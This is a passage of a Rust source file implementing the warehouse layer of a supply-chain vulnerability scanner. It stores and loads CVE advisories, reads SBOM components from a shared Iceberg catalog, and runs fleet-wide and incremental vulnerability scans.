mikronova/modgunn
src/warehouse.rs
//! Feature `warehouse` — Móðguðr's Iceberg warehouse access, **over skade only**.
//!
//! This is modgunn's seam onto the shared nordisk warehouse. It depends on the
//! high-level [`skade`] crate (Iceberg writing/reading over an embedded redb
//! catalog) and **NEVER on nornir** — a nornir dependency would recreate the
//! holger↔nornir cycle modgunn exists to break. nornir is the *consumer* (its
//! viz Security pane and tripwire feed read these tables); modgunn is an
//! independent writer into the same physical catalog.
//!
//! ## One catalog, one namespace, two writers
//! modgunn opens the **same** `catalog.redb` + `warehouse/` directory nornir
//! uses, in the shared `nornir` namespace, so a single physical warehouse holds
//! both writers' tables:
//!
//! | owner | tables |
//! |---------|-------------------------------------------------------------------|
//! | nornir | `sbom_components` (modgunn **reads** this), `vuln_findings` |
//! | modgunn | `cve_advisories`, `world_snapshots`, `behavior_deltas`, `tripwire_events` (modgunn **owns**) |
//!
//! `skade-katalog` is single-writer (exclusive redb lock), so modgunn and a live
//! `nornir-server` must not hold the catalog open for write at the same instant;
//! a read-only copied-snapshot path (mirroring nornir's `open_read_only`) is a
//! later addition when concurrent reads are needed.
//!
//! ## CDC / change-sensing seam (Engine B)
//! skade already implements change-data-capture from the Iceberg manifest layer:
//! [`Warehouse::commit_seq`] is a monotonic "writes happened" counter to poll,
//! and [`Warehouse::table_delta`] wraps skade's `Table::read_delta(from, to)` —
//! the rows **added** (and identity-**deleted**) between two snapshots, read
//! without rescanning the whole table. That is how Engine B notices "a 5th-level
//! dependency changed" without diffing the world by hand. iceberg-rust 0.9.1 has
//! no native incremental/changelog scan; skade reconstructs the delta itself, so
//! modgunn just consumes it. (Richer row-level changelog scans are a transparent
//! upgrade inside skade later; modgunn's API does not change.)
use std::path::Path;
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use anyhow::{Context, Result};
use skade::arrow_array::{
Array, ArrayRef, BooleanArray, Float64Array, Int64Array, RecordBatch, StringArray,
};
use skade::arrow_schema::{DataType, Field, Schema as ArrowSchema};
use skade::{ScanFilter, Warehouse as SkadeWarehouse};
// `Warehouse::sql` is no longer inherent on skade — the DataFusion surface moved
// into the sibling `skade-sql` crate (skade 0369d66) and re-enters as a trait.
#[cfg(feature = "warehouse-sql")]
use skade_sql::WarehouseSql;
/// The ONE shared **`Zone`** primitive (the constellation-wide environment axis) —
/// consumed from the edda leaf, re-exported so consumers (the CLI, nornir/holger)
/// name the same type modgunn threads into its namespace.
pub use nornir_zone::Zone;
use znippy_zoomies::gatling_forkjoin::gatling_for_each;
use crate::behavior::PackageBehavior;
use crate::core::Severity;
use crate::engine::EngineKind;
use crate::provenance::ScorecardSignals;
use crate::scan::{Advisory, AdvisoryDb};
/// nornir's namespace in the shared physical catalog. modgunn only READS one
/// nornir-OWNED table ([`TABLE_SBOM_COMPONENTS`]) — nornir writes it HERE, so
/// modgunn addresses it here regardless of the modgunn zone (a zone scopes
/// modgunn's OWN data, not the SBOM capture it consumes from nornir).
const NORNIR_NAMESPACE: &str = "nornir";
/// The **legacy** default namespace for modgunn's OWN tables — the value the
/// pre-zone [`Warehouse::open`] / [`Warehouse::open_read_only`] still use, so
/// existing library consumers (nornir's advisory import, holger's gate) that call
/// them keep addressing modgunn's tables exactly where they always did (byte-for-byte
/// additive, L2). The zone-aware [`Warehouse::open_in_zone`] instead scopes modgunn's
/// tables to `modgunn_<zone>` (`Zone::namespace("modgunn")`), the isolated per-zone
/// home the CLI's `--zone` selects.
const LEGACY_NAMESPACE: &str = "nornir";
// modgunn-owned tables.
const TABLE_CVE_ADVISORIES: &str = "cve_advisories";
const TABLE_WORLD_SNAPSHOTS: &str = "world_snapshots";
const TABLE_DEP_EDGES: &str = "dep_edges";
// Call-graph edges (caller_id → callee_id) of a captured WorldSnapshot — the
// `call_edges` input the baddie-detection b1 reachable-vuln join walks. Snapshot-
// keyed, append-only. (dep_edges is the PACKAGE graph; this is the SYMBOL/call graph.)
const TABLE_CALL_EDGES: &str = "call_edges";
const TABLE_SCIP_SYMBOLS: &str = "scip_symbols";
const TABLE_BEHAVIOR_DELTAS: &str = "behavior_deltas";
const TABLE_TRIPWIRE_EVENTS: &str = "tripwire_events";
const TABLE_SCORECARD: &str = "scorecard_signals";
/// A23 package-behaviour VERDICT ledger — the ecosystem-tagged feature vector +
/// its derived worst severity, one append-only row per analysis.
const TABLE_BEHAVIOR_FEATURES: &str = "behavior_features";
// Build-provenance VERIFY verdicts (Tier-1 bug #2): modgunn is the airgap
// verifier, so it OWNS the ledger of what its `provenance::verify` step decided
// about each znippy-sealed `<artifact>.build-provenance.znippy` it opened.
const TABLE_BUILD_PROVENANCE: &str = "build_provenance";
// Threat-intel IOC corpus (abuse.ch URLhaus/Feodo/SSLBL) — the garm-side signal
// modgunn owns for BOTH dwarves and garm; append-only, snapshot-keyed.
const TABLE_IOCS: &str = "ioc_indicators";
// Materialized fleet-scan verdict (the baddie-detection b1 vuln_findings the Mímir
// lens reads instead of recomputing the scan) — snapshot-keyed, append-only.
const TABLE_VULN_FINDINGS: &str = "vuln_findings";
// Symbol-level vulnerability records (Go vuln-DB `ecosystem_specific.imports`) — the
// (advisory, import-path, symbol) tuples the A8 reachability gate loads as
// `scip::VulnSink`s. Snapshot-keyed, append-only. See baddie-detection-design.md b1.
const TABLE_VULN_SYMBOLS: &str = "vuln_symbols";
// nornir-owned tables modgunn reads.
const TABLE_SBOM_COMPONENTS: &str = "sbom_components";
fn now_micros() -> i64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_micros() as i64)
.unwrap_or(0)
}
fn severity_str(s: Severity) -> &'static str {
match s {
Severity::Info => "info",
Severity::Low => "low",
Severity::Medium => "medium",
Severity::High => "high",
Severity::Critical => "critical",
}
}
fn severity_from_str(s: &str) -> Severity {
match s.to_ascii_lowercase().as_str() {
"critical" => Severity::Critical,
"high" => Severity::High,
"medium" => Severity::Medium,
"low" => Severity::Low,
_ => Severity::Info,
}
}
/// Pull a UTF-8 column out of a batch by name (empty string when absent/null) so
/// schema drift never panics a reader.
fn str_col<'a>(batch: &'a RecordBatch, name: &str) -> Option<&'a StringArray> {
batch
.column_by_name(name)?
.as_any()
.downcast_ref::<StringArray>()
}
/// True when `err` is skade/redb's "the catalog is locked by another writer"
/// error — the signal [`Warehouse::open_read_only`] falls back to a copied
/// snapshot on. Mirrors nornir's `is_catalog_lock_error` (same redb messages).
fn is_catalog_lock_error(err: &anyhow::Error) -> bool {
err.chain().any(|e| {
let m = e.to_string();
m.contains("Database already open") || m.contains("Cannot acquire lock")
})
}
/// Copy the locked `live` `catalog.redb` → `dst` as a **complete, openable** image
/// of the latest committed state, even while a writer mutates it. redb grows its
/// file in regions (advertises a larger layout in the header, then extends the
/// file), so a copy taken across a growth window can be shorter than its own header
/// claims — redb then panics on its length assertion or reads a stale/short state.
/// We accept only a copy taken across a size-stable window whose own length is not
/// short, so the image always satisfies redb's invariant. Same heuristic as nornir's
/// `copy_catalog_consistent`.
fn copy_catalog_consistent(live: &Path, dst: &Path) -> Result<()> {
const MAX_ATTEMPTS: usize = 64;
let len_of = |p: &Path| -> Result<u64> {
Ok(std::fs::metadata(p)
.with_context(|| format!("stat {}", p.display()))?
.len())
};
for attempt in 0..MAX_ATTEMPTS {
let before = len_of(live)?;
std::fs::copy(live, dst)
.with_context(|| format!("copy {} -> {}", live.display(), dst.display()))?;
let after = len_of(live)?;
if before == after && len_of(dst)? >= after {
return Ok(());
}
std::thread::sleep(std::time::Duration::from_millis(2 + attempt as u64 / 4));
}
anyhow::bail!(
"snapshot of locked catalog {} never reached a size-stable window after {MAX_ATTEMPTS} \
attempts (catalog growing under a very hot writer)",
live.display()
)
}
/// modgunn's handle on the shared Iceberg warehouse. Holds its own tokio runtime
/// and bridges skade's async API to a blocking surface (so Engine A/B callers and
/// holger's gate need not be async). Mirrors nornir's `IcebergWarehouse` pattern.
pub struct Warehouse {
rt: tokio::runtime::Runtime,
inner: SkadeWarehouse,
/// The namespace modgunn's OWN tables live in for this handle — the ZONE seam.
/// `LEGACY_NAMESPACE` (`"nornir"`) for the pre-zone [`open`](Self::open); the
/// per-zone `modgunn_<zone>` (`Zone::namespace("modgunn")`) for
/// [`open_in_zone`](Self::open_in_zone). The one nornir-owned table modgunn READS
/// (`sbom_components`) ignores this and stays in [`NORNIR_NAMESPACE`].
namespace: String,
/// Holds the temp dir alive when this handle was opened from a copied-aside
/// snapshot (see [`Warehouse::open_read_only`]); `None` for a normal open.
_snapshot: Option<tempfile::TempDir>,
}
impl Warehouse {
/// Open (creating if absent) the warehouse rooted at `root` — the directory
/// holding `catalog.redb` + `warehouse/`. Use the SAME root nornir opens so
/// both writers share one physical catalog. Takes the exclusive redb lock, so
/// this fails if another writer (a live `nornir-server`) holds it — use
/// [`open_read_only`](Self::open_read_only) for a lock-tolerant read.
///
/// Modgunn's OWN tables address the **legacy** namespace (`"nornir"`), so this
/// pre-zone entry stays byte-for-byte identical for existing consumers (L2). Use
/// [`open_in_zone`](Self::open_in_zone) to scope modgunn's data to an isolated
/// `modgunn_<zone>` namespace.
pub fn open(root: &Path) -> Result<Self> {
Self::open_at(root, None, LEGACY_NAMESPACE.to_string())
}
/// Open (creating if absent) the warehouse at `root`, scoping modgunn's OWN
/// tables to **`zone`**'s isolated data namespace `Zone::namespace("modgunn")` =
/// `modgunn_<zone>` (e.g. `modgunn_demo` / `modgunn_test` / `modgunn_prod`) — so
/// populating one zone's advisory/world-delta data never touches another's. The
/// zone the CLI's `--zone` selects (default [`Zone::Demo`]). The one nornir-OWNED
/// table modgunn reads (`sbom_components`) is unaffected — it always resolves to
/// nornir's namespace, wherever nornir's SBOM capture wrote it.
pub fn open_in_zone(root: &Path, zone: Zone) -> Result<Self> {
let wh = Self::open_at(root, None, zone.namespace("modgunn"))?;
// Introspection marker — the zone seam reports its routing to the test
// matrix (GREEN = modgunn's data namespace is the selected zone's
// `modgunn_<zone>`; RED-when-broken = the zone failed to thread through to
// the namespace, i.e. `--zone` silently landed in the wrong environment).
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/warehouse-zone",
"zone_routes_to_namespace",
wh.namespace == zone.namespace("modgunn"),
&format!("zone {} → namespace {}", zone.key(), wh.namespace),
);
Ok(wh)
}
/// Lock-tolerant **read** open. Behaves like [`open`](Self::open), but when the
/// live `catalog.redb` is already locked exclusively (a running `nornir-server`,
/// or modgunn's own writer in-process — skade-katalog is single-writer), it does
/// NOT fail: it copies `catalog.redb` aside into an auto-cleaned temp dir and
/// opens *that* copy — a point-in-time read-only snapshot of the catalog. Table
/// data files are referenced by absolute `file://` paths in the catalog metadata,
/// so they still resolve to the live warehouse data; only the catalog index
/// (a few MB) is copied. This is how the live server RPC reads `cve_advisories`
/// (it holds the lock itself) without contending. Mutating callers must use
/// [`open`](Self::open) — a snapshot is read-only by construction.
pub fn open_read_only(root: &Path) -> Result<Self> {
Self::open_read_only_in_namespace(root, LEGACY_NAMESPACE.to_string())
}
/// Lock-tolerant **read** open scoped to **`zone`**'s namespace — the zone-aware
/// counterpart to [`open_read_only`](Self::open_read_only) (same copied-snapshot
/// fallback when the live catalog is locked). The lock-tolerant read the CLI /
/// live server uses against a `--zone`-selected warehouse.
pub fn open_read_only_in_zone(root: &Path, zone: Zone) -> Result<Self> {
Self::open_read_only_in_namespace(root, zone.namespace("modgunn"))
}
/// Shared lock-tolerant read: try [`open_at`](Self::open_at) at `namespace`, and
/// on a catalog-lock error fall back to a copied-aside read-only snapshot (same
/// namespace).
fn open_read_only_in_namespace(root: &Path, namespace: String) -> Result<Self> {
match Self::open_at(root, None, namespace.clone()) {
Ok(wh) => Ok(wh),
Err(e) if is_catalog_lock_error(&e) => Self::open_snapshot(root, namespace)
.with_context(|| {
format!(
"open read-only snapshot of locked catalog at {}",
root.display()
)
}),
Err(e) => Err(e),
}
}
/// The **data namespace** modgunn's OWN tables live in for this handle
/// (`"nornir"` for a legacy [`open`](Self::open); `modgunn_<zone>` for an
/// [`open_in_zone`](Self::open_in_zone)). The routing oracle the zone tests
/// assert `--zone test` lands in `modgunn_test`.
pub fn namespace(&self) -> &str {
&self.namespace
}
/// Address a table in the right namespace: the one nornir-OWNED table modgunn
/// only reads (`sbom_components`) always resolves to nornir's namespace (that is
/// where nornir's SBOM capture writes it, independent of modgunn's zone); every
/// modgunn-OWNED table resolves to this handle's [`namespace`](Self::namespace)
/// — the zone seam. (skade otherwise defaults a bare name to its own `main`
/// namespace, so every access must qualify.)
fn qualified(&self, table: &str) -> String {
if table == TABLE_SBOM_COMPONENTS {
format!("{NORNIR_NAMESPACE}.{table}")
} else {
format!("{}.{table}", self.namespace)
}
}
/// Shared opener: open skade at `root`, tying `snapshot` (when `root` is a
/// copied-aside temp dir) to this handle's lifetime; `namespace` is where
/// modgunn's own tables live (the zone seam).
fn open_at(
root: &Path,
snapshot: Option<tempfile::TempDir>,
namespace: String,
) -> Result<Self> {
let rt = tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()
.context("build modgunn warehouse tokio runtime")?;
let inner = rt
.block_on(SkadeWarehouse::open(root))
.with_context(|| format!("open skade warehouse at {}", root.display()))?;
Ok(Self {
rt,
inner,
namespace,
_snapshot: snapshot,
})
}
/// Copy the locked `catalog.redb` aside and open the copy. The data tree stays
/// the live `<root>/warehouse/` (the catalog metadata carries absolute paths),
/// so reads reflect the catalog as of the copy; writes would land in the
/// throwaway temp dir, never the live catalog.
fn open_snapshot(root: &Path, namespace: String) -> Result<Self> {
let live_db = root.join("catalog.redb");
if !live_db.exists() {
anyhow::bail!("no catalog.redb at {} to snapshot", live_db.display());
}
let tmp = tempfile::Builder::new()
.prefix("modgunn-catalog-snapshot-")
.tempdir()
.context("create temp dir for catalog snapshot")?;
let snap_db = tmp.path().join("catalog.redb");
copy_catalog_consistent(&live_db, &snap_db)?;
let snap_root = tmp.path().to_path_buf();
Self::open_at(&snap_root, Some(tmp), namespace)
}
/// Create modgunn's own tables in the shared namespace if they don't exist
/// yet (idempotent — `table_or_create`). nornir's tables are left to nornir.
pub fn ensure_modgunn_tables(&self) -> Result<()> {
self.rt.block_on(async {
self.inner
.table_or_create(
&self.qualified(TABLE_CVE_ADVISORIES),
&cve_advisories_schema(),
)
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_WORLD_SNAPSHOTS),
&world_snapshots_schema(),
)
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_DEP_EDGES), &dep_edges_schema())
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_CALL_EDGES), &call_edges_schema())
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_SCIP_SYMBOLS), &scip_symbols_schema())
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_BEHAVIOR_DELTAS),
&behavior_deltas_schema(),
)
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_TRIPWIRE_EVENTS),
&tripwire_events_schema(),
)
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_SCORECARD), &scorecard_schema())
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_BEHAVIOR_FEATURES),
&behavior_features_schema(),
)
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_BUILD_PROVENANCE),
&build_provenance_schema(),
)
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_IOCS), &ioc_indicators_schema())
.await?;
self.inner
.table_or_create(
&self.qualified(TABLE_VULN_FINDINGS),
&vuln_findings_schema(),
)
.await?;
self.inner
.table_or_create(&self.qualified(TABLE_VULN_SYMBOLS), &vuln_symbols_schema())
.await?;
Ok::<_, anyhow::Error>(())
})
}
// ── Engine A: the CVE/advisory feed lives in the warehouse ──────────────
/// Append a generation of advisories under revision `db_rev`. Iceberg is
/// append-only: a fresh import is a new generation; [`load_advisory_db`]
/// returns the latest `db_rev`. (`upsert` here = "publish a new revision".)
///
/// [`load_advisory_db`]: Self::load_advisory_db
pub fn append_advisories(&self, db_rev: &str, advisories: &[Advisory]) -> Result<()> {
if advisories.is_empty() {
return Ok(());
}
let n = advisories.len();
let mut ids = Vec::with_capacity(n);
let mut ecos = Vec::with_capacity(n);
let mut pkgs = Vec::with_capacity(n);
let mut affected = Vec::with_capacity(n);
let mut sevs = Vec::with_capacity(n);
let mut summaries = Vec::with_capacity(n);
let mut epss = Vec::with_capacity(n);
let mut kev = Vec::with_capacity(n);
let mut revs = Vec::with_capacity(n);
let mut ranges = Vec::with_capacity(n);
let mut aliases = Vec::with_capacity(n);
let mut withdrawn = Vec::with_capacity(n);
let mut sources = Vec::with_capacity(n);
let mut cvss = Vec::with_capacity(n);
let mut cwes = Vec::with_capacity(n);
for a in advisories {
ids.push(a.id.clone());
ecos.push(a.ecosystem.clone());
pkgs.push(a.package.clone());
affected.push(a.affected_versions.join(","));
sevs.push(severity_str(a.severity).to_string());
summaries.push(a.summary.clone());
epss.push(a.epss);
kev.push(a.kev);
revs.push(db_rev.to_string());
// ranges are JSON so the OSV event vocab round-trips losslessly.
ranges.push(serde_json::to_string(&a.ranges).unwrap_or_else(|_| "[]".into()));
aliases.push(a.aliases.join(","));
withdrawn.push(a.withdrawn);
sources.push(a.source.clone());
cvss.push(a.cvss_vector.clone());
cwes.push(a.cwe.join(","));
}
let batch = RecordBatch::try_new(
Arc::new(cve_advisories_schema()),
vec![
str_array(ids),
str_array(ecos),
str_array(pkgs),
str_array(affected),
str_array(sevs),
str_array(summaries),
Arc::new(Float64Array::from(epss)) as ArrayRef,
Arc::new(BooleanArray::from(kev)) as ArrayRef,
str_array(revs),
str_array(ranges),
str_array(aliases),
Arc::new(BooleanArray::from(withdrawn)) as ArrayRef,
str_array(sources),
str_array(cvss),
str_array(cwes),
],
)
.context("build cve_advisories batch")?;
self.append(TABLE_CVE_ADVISORIES, batch)
}
/// Load the latest-revision [`AdvisoryDb`] from `cve_advisories`, optionally
/// scoped to one ecosystem. This is what Engine A scans against — the CVE
/// feed lives in the warehouse, not a file modgunn carries.
pub fn load_advisory_db(&self, ecosystem: Option<&str>) -> Result<AdvisoryDb> {
let batches = self.rt.block_on(async {
let table = self
.inner
.table(&self.qualified(TABLE_CVE_ADVISORIES))
.await?;
match ecosystem {
Some(eco) => {
table
.read_filtered(&ScanFilter::eq("ecosystem", eco), &CVE_COLS)
.await
}
None => table.read_columns(&CVE_COLS).await,
}
})?;
// Append-only: keep only the rows of the greatest db_rev seen.
let mut rows: Vec<(String, Advisory)> = Vec::new();
for batch in &batches {
let (id, eco, pkg, aff, sev, sum, rev) = (
str_col(batch, "id"),
str_col(batch, "ecosystem"),
str_col(batch, "package"),
str_col(batch, "affected_versions"),
str_col(batch, "severity"),
str_col(batch, "summary"),
str_col(batch, "db_rev"),
);
let epss_col = batch
.column_by_name("epss")
.and_then(|c| c.as_any().downcast_ref::<Float64Array>());
let kev_col = batch
.column_by_name("kev")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
// schema v2 columns — absent in a v1 table, so default when missing.
let (ranges_c, aliases_c, source_c) = (
str_col(batch, "ranges"),
str_col(batch, "aliases"),
str_col(batch, "source"),
);
let (cvss_c, cwe_c) = (str_col(batch, "cvss_vector"), str_col(batch, "cwe"));
let withdrawn_col = batch
.column_by_name("withdrawn")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
for i in 0..batch.num_rows() {
let get =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
let rev = get(rev);
let advisory = Advisory {
id: get(id),
ecosystem: get(eco),
package: get(pkg),
affected_versions: get(aff)
.split(',')
.filter(|s| !s.is_empty())
.map(str::to_string)
.collect(),
severity: severity_from_str(&get(sev)),
summary: get(sum),
epss: epss_col.filter(|a| !a.is_null(i)).map(|a| a.value(i)),
kev: kev_col.map(|a| a.value(i)).unwrap_or(false),
// JSON-encoded range vocab; "" / "[]" / garbage all degrade to no
// ranges, and a pre-v3 flat event array decodes as one range object.
ranges: crate::versions::decode_range_sets(&get(ranges_c)),
aliases: get(aliases_c)
.split(',')
.filter(|s| !s.is_empty())
.map(str::to_string)
.collect(),
withdrawn: withdrawn_col.map(|a| a.value(i)).unwrap_or(false),
source: get(source_c),
cvss_vector: get(cvss_c),
cwe: get(cwe_c)
.split(',')
.filter(|s| !s.is_empty())
.map(str::to_string)
.collect(),
};
rows.push((rev, advisory));
}
}
let latest = rows
.iter()
.map(|(r, _)| r)
.max_by(|a, b| rev_sort_key(a).cmp(&rev_sort_key(b)))
.cloned()
.unwrap_or_default();
let advisories = rows
.into_iter()
.filter(|(r, _)| *r == latest)
.map(|(_, a)| a)
.collect();
Ok(AdvisoryDb::new(latest, advisories))
}
/// Read nornir's SBOM capture for `repo` as `(name, version, license)` rows,
/// deduped by `(name, version)` — the component closure Engine A scans. (The
/// per-snapshot latest-only selection nornir's `components_warehouse_first`
/// does is a later refinement; this returns the repo's captured components.)
pub fn read_sbom_components(&self, repo: &str) -> Result<Vec<(String, String, String)>> {
let cols = ["name", "version", "license"];
let batches = self.rt.block_on(async {
let table = self
.inner
.table(&self.qualified(TABLE_SBOM_COMPONENTS))
.await?;
table
.read_filtered(&ScanFilter::eq("repo", repo), &cols)
.await
})?;
let mut seen = std::collections::HashSet::new();
let mut out = Vec::new();
for batch in &batches {
let (name, version, license) = (
str_col(batch, "name"),
str_col(batch, "version"),
str_col(batch, "license"),
);
for i in 0..batch.num_rows() {
let get =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
let (n, v, l) = (get(name), get(version), get(license));
if seen.insert((n.clone(), v.clone())) {
out.push((n, v, l));
}
}
}
Ok(out)
}
// ── Engine A at fleet scale: the whole SBOM × the advisory db ────────────
/// Scan the **whole warehouse**: every captured SBOM component across ALL
/// repos (`sbom_components`) against the latest advisory generation
/// (`cve_advisories`). The org-wide "what known-vulnerable dependencies exist
/// anywhere" sweep (master-plan S2) — one advisory-db load + an in-memory join,
/// no per-repo round-trips. Components carry no ecosystem column yet (nornir's
/// SBOM is `cargo metadata`), so [`DEFAULT_ECOSYSTEM`] is assumed; a future
/// ecosystem column (nornir §6 multi-ecosystem cutover) makes it exact.
pub fn scan_fleet(&self) -> Result<Vec<FleetFinding>> {
self.scan_fleet_with(EngineKind::default())
}
/// As [`scan_fleet`](Self::scan_fleet), but with an explicit [`EngineKind`] — the
/// runtime A/B swap on the fleet-scan path. Engine B (inverted index) pays off
/// once the advisory db is large; Engine A (linear) wins for a small db. Results
/// are identical either way.
pub fn scan_fleet_with(&self, kind: EngineKind) -> Result<Vec<FleetFinding>> {
let comps = self.read_all_sbom_components()?;
let db = self.load_advisory_db(None)?;
Ok(scan_components(&comps, &db, kind))
}
/// Every captured SBOM component across all repos as `(repo, name, version)`,
/// deduped. An absent `sbom_components` table (nornir hasn't captured any SBOM
/// yet) is not an error — it yields no components.
pub fn read_all_sbom_components(&self) -> Result<Vec<(String, String, String)>> {
let cols = ["repo", "name", "version"];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let table = self
.inner
.table(&self.qualified(TABLE_SBOM_COMPONENTS))
.await?;
Ok(table.read_columns(&cols).await?)
});
match res {
Ok(batches) => Ok(components_from_batches(&batches)),
Err(e) if is_missing_table(&e) => Ok(Vec::new()),
Err(e) => Err(e),
}
}
/// **Test-support ONLY** (`cfg(test)` or feature `test-support`): seed the
/// nornir-owned `sbom_components` table (creating it if absent) with `(repo, name,
/// version)` rows — standing in for nornir's SBOM capture so an out-of-crate
/// end-to-end test can drive the real `warehouse scan` / `--since` CDC-delta /
/// `--vex` paths against a genuine warehouse. Each call appends a NEW Iceberg
/// snapshot, so two calls straddle a `--since` watermark. NEVER compiled into a
/// production build: modgunn only READS this table in production. The `license`
/// column (defaulted `"MIT"`) matches nornir's real 4-column SBOM schema so the
/// seeded table is shape-compatible with what nornir writes.
#[cfg(any(test, feature = "test-support"))]
pub fn seed_sbom_components(&self, rows: &[(&str, &str, &str)]) -> Result<()> {
self.rt.block_on(async {
let schema = ArrowSchema::new(vec![
Field::new("repo", DataType::Utf8, false),
Field::new("name", DataType::Utf8, false),
Field::new("version", DataType::Utf8, false),
Field::new("license", DataType::Utf8, false),
]);
self.inner
.table_or_create(&self.qualified(TABLE_SBOM_COMPONENTS), &schema)
.await?;
let batch = RecordBatch::try_new(
Arc::new(schema),
vec![
str_array(rows.iter().map(|r| r.0.to_string()).collect()),
str_array(rows.iter().map(|r| r.1.to_string()).collect()),
str_array(rows.iter().map(|r| r.2.to_string()).collect()),
str_array(vec!["MIT".to_string(); rows.len()]),
],
)
.context("build sbom_components seed batch")?;
let mut t = self
.inner
.table(&self.qualified(TABLE_SBOM_COMPONENTS))
.await?;
t.append(std::slice::from_ref(&batch)).await?;
Ok(())
})
}
/// **Incremental CDC scan.** The components ADDED to `sbom_components` since
/// snapshot `from` (`None` = from the beginning), scanned against the latest
/// advisory db; returns `(findings, to_snapshot)`. Persist `to_snapshot` as the
/// next `from`. Poll [`commit_seq`](Self::commit_seq) to notice a change
/// cheaply, then call this — so a streaming watcher only ever re-scans the
/// delta straight off skade's manifest-layer CDC, never the whole world.
pub fn scan_sbom_delta(&self, from: Option<i64>) -> Result<(Vec<FleetFinding>, Option<i64>)> {
self.scan_sbom_delta_with(from, EngineKind::default())
}
/// As [`scan_sbom_delta`](Self::scan_sbom_delta), with an explicit [`EngineKind`].
pub fn scan_sbom_delta_with(
&self,
from: Option<i64>,
kind: EngineKind,
) -> Result<(Vec<FleetFinding>, Option<i64>)> {
let (batches, to) = match self.table_delta(TABLE_SBOM_COMPONENTS, from) {
Ok(x) => x,
Err(e) if is_missing_table(&e) => return Ok((Vec::new(), from)),
Err(e) => return Err(e),
};
let comps = components_from_batches(&batches);
if comps.is_empty() {
return Ok((Vec::new(), to));
}
let db = self.load_advisory_db(None)?;
Ok((scan_components(&comps, &db, kind), to))
}
/// Fleet scan via skade's DataFusion **SQL pushdown** (feature `warehouse-sql`):
/// the `name = package` equi-join runs IN the warehouse, narrowing to candidate
/// (component, same-package advisory) pairs before any per-row work — so the
/// whole advisory db never has to be loaded into RAM (the S3/S4 path). Latest-
/// `db_rev` selection + version matching (range-native / exact) still run in Rust
/// on the much-smaller candidate set. Same results as [`scan_fleet`](Self::scan_fleet),
/// different cost profile. An absent SBOM table degrades to no findings.
#[cfg(feature = "warehouse-sql")]
pub fn scan_fleet_sql(&self) -> Result<Vec<FleetFinding>> {
let query = format!(
"SELECT c.repo AS repo, c.name AS name, c.version AS version, \
a.id AS id, a.severity AS severity, a.affected_versions AS affected_versions, \
a.ranges AS ranges, a.withdrawn AS withdrawn, a.db_rev AS db_rev, \
a.kev AS kev, a.summary AS summary \
FROM {sbom} c JOIN {cve} a ON c.name = a.package \
WHERE a.ecosystem = '{eco}'",
sbom = TABLE_SBOM_COMPONENTS,
cve = TABLE_CVE_ADVISORIES,
eco = DEFAULT_ECOSYSTEM,
);
let batches = match self.rt.block_on(self.inner.sql(&query)) {
Ok(b) => b,
Err(e) => {
let s = e.to_string();
if s.contains("TableNotFound") || s.contains("does not exist") {
return Ok(Vec::new());
}
return Err(anyhow::anyhow!("fleet sql pushdown: {e}"));
}
};
// Rust side: reconstruct the candidate advisories, keep the latest db_rev,
// and apply range-native version matching.
struct Cand {
repo: String,
name: String,
version: String,
rev: String,
adv: Advisory,
}
let mut cands: Vec<Cand> = Vec::new();
for batch in &batches {
let (repo, name, version, id, sev, aff, ranges, rev, summary) = (
str_col(batch, "repo"),
str_col(batch, "name"),
str_col(batch, "version"),
str_col(batch, "id"),
str_col(batch, "severity"),
str_col(batch, "affected_versions"),
str_col(batch, "ranges"),
str_col(batch, "db_rev"),
str_col(batch, "summary"),
);
// `kev` + `summary` are pulled down TOO (not just the match columns) so
// the SQL path's `FleetFinding` carries the same b5 verdict inputs as the
// in-memory path — otherwise `--sql` would silently produce
// present-vuln holds where the in-RAM scan produces KEV refuses (A≢B).
let kev_col = batch
.column_by_name("kev")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
let withdrawn_col = batch
.column_by_name("withdrawn")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
let mut adv = Advisory::basic(
g(id),
DEFAULT_ECOSYSTEM,
g(name),
g(aff)
.split(',')
.filter(|s| !s.is_empty())
.map(str::to_string)
.collect(),
severity_from_str(&g(sev)),
"",
);
adv.ranges = crate::versions::decode_range_sets(&g(ranges));
adv.withdrawn = withdrawn_col.map(|a| a.value(i)).unwrap_or(false);
adv.kev = kev_col.map(|a| a.value(i)).unwrap_or(false);
adv.summary = g(summary);
cands.push(Cand {
repo: g(repo),
name: g(name),
version: g(version),
rev: g(rev),
adv,
});
}
}
// Pick the latest generation the SAME way the in-memory path does: the GLOBAL
// max db_rev over ALL advisory rows (`load_advisory_db(None)`), NOT the max
// over only the join-surviving candidates. Maxing over `cands` diverges when
// the true-latest generation has no advisory for any fleet component — the SQL
// path would then resurrect a stale-generation advisory the in-memory scan
// correctly drops. A cheap `DISTINCT db_rev` query (few generations) maxed by
// the natural-order `rev_sort_key` keeps the two paths in lock-step.
let latest = {
let rev_query = format!(
"SELECT DISTINCT db_rev AS db_rev FROM {cve}",
cve = TABLE_CVE_ADVISORIES
);
let rev_batches = self
.rt
.block_on(self.inner.sql(&rev_query))
.map_err(|e| anyhow::anyhow!("fleet sql latest-rev: {e}"))?;
let mut best: Option<String> = None;
for batch in &rev_batches {
if let Some(col) = str_col(batch, "db_rev") {
for i in 0..batch.num_rows() {
let rev = col.value(i);
if best
.as_deref()
.map(|b| rev_sort_key(rev) > rev_sort_key(b))
.unwrap_or(true)
{
best = Some(rev.to_string());
}
}
}
}
best.unwrap_or_default()
};
